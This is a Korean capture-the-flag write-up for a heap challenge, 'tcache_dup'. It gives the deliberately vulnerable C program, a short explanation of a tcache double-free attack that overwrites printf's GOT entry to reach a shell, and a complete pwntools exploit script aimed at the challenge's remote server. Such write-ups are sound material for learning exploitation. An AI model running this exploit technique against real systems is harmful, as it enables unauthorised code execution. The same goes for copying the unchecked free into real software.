Index
문제
보호기법 확인
canary와 nx가 걸려있다.
tcache_dup.c
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if(cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
문제풀이
로컬 익스는 double free가 막히는데, 원격에서는 key 값 검증 없이, 그냥 double free가 된다. 으잉(?)
각 함수의 plt가 있으므로, double free로 해당 주소를 할당받아 Got overwrite로 print@got를 get_shell 함수 주소로 덮으면 셸을 얻을 수 있을 것 같다.
익스 방법에 대한 자세한 디버깅은 함께 풀기인 Tcache Poisoning에서 이해하자.
익스플로잇
from pwn import *
context.log_level='debug'
#p = process('./tcache_dup')
#libc = ('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./tcache_dup')
p = remote('host3.dreamhack.games', 14626)
libc = ELF('./libc-2.27.so')
binsh = e.sym["get_shell"]
printf = e.got["printf"]
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def create(size, data):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", str(size))
p.sendafter(b"Data: ", data)
def delete(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx: ", str(idx))
slog("printf_got", printf)
slog("binsh", binsh)
create(0x40, b'a'*8)
delete(0)
delete(0)
create(0x40, p64(printf))
create(0x40, b'b'*8)
create(0x40, p64(binsh))
p.interactive()
Uploaded by N2T